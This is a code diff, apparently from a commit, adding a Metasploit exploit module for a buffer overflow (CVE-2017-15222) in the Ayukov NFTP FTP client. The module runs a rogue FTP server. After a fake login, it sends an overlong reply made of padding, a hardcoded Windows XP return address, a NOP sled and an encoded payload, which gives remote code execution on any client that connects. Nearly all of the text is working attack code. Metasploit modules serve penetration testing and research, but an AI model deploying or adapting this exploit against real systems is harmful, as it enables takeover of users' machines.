|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = NormalRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::TcpServer |
| 10 | + |
| 11 | + def initialize(info = {}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'Ayukov NFTP FTP Client < 2.0 Remote Buffer Overflow', |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits a buffer overflow in the Ayukov NFTPD FTP client 2.0 and earlier allowing remote code execution. |
| 16 | + }, |
| 17 | + 'Author' => |
| 18 | + [ |
| 19 | + 'Berk Cem Göksel', # Original exploit author |
| 20 | + 'Daniel Teixeira' # MSF module author |
| 21 | + ], |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'References' => |
| 24 | + [ |
| 25 | + [ 'CVE', 'CVE-2017-15222'], |
| 26 | + [ 'EDB', '43025' ], |
| 27 | + ], |
| 28 | + 'Payload' => |
| 29 | + { |
| 30 | + 'BadChars' => "\x00\x01\x0a\x10", |
| 31 | + }, |
| 32 | + 'Platform' => 'win', |
| 33 | + 'Targets' => |
| 34 | + [ |
| 35 | + [ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512 |
| 36 | + ], |
| 37 | + 'Privileged' => false, |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'SRVHOST' => '0.0.0.0', |
| 41 | + }, |
| 42 | + 'DefaultTarget' => 0)) |
| 43 | + |
| 44 | + register_options( |
| 45 | + [ |
| 46 | + OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]), |
| 47 | + ]) |
| 48 | + end |
| 49 | + |
| 50 | + def on_client_connect(client) |
| 51 | + return if ((p = regenerate_payload(client)) == nil) |
| 52 | + |
| 53 | + |
| 54 | + # Let the client log in |
| 55 | + client.get_once |
| 56 | + |
| 57 | + user = "331 OK.\r\n" |
| 58 | + client.put(user) |
| 59 | + |
| 60 | + client.get_once |
| 61 | + pass = "230 OK.\r\n" |
| 62 | + client.put(pass) |
| 63 | + |
| 64 | + sploit = "A"*4116 |
| 65 | + sploit << [target.ret].pack('V') |
| 66 | + sploit << "\x90"*16 |
| 67 | + sploit << payload.encoded |
| 68 | + sploit << make_nops(15000 - 4116 - 4 - 16 - payload.encoded.length) |
| 69 | + sploit << "\r\n" |
| 70 | + |
| 71 | + client.put(sploit) |
| 72 | + |
| 73 | + client.get_once |
| 74 | + pwd = "257\r\n" |
| 75 | + client.put(pwd) |
| 76 | + client.get_once |
| 77 | + |
| 78 | + end |
| 79 | +end |
0 commit comments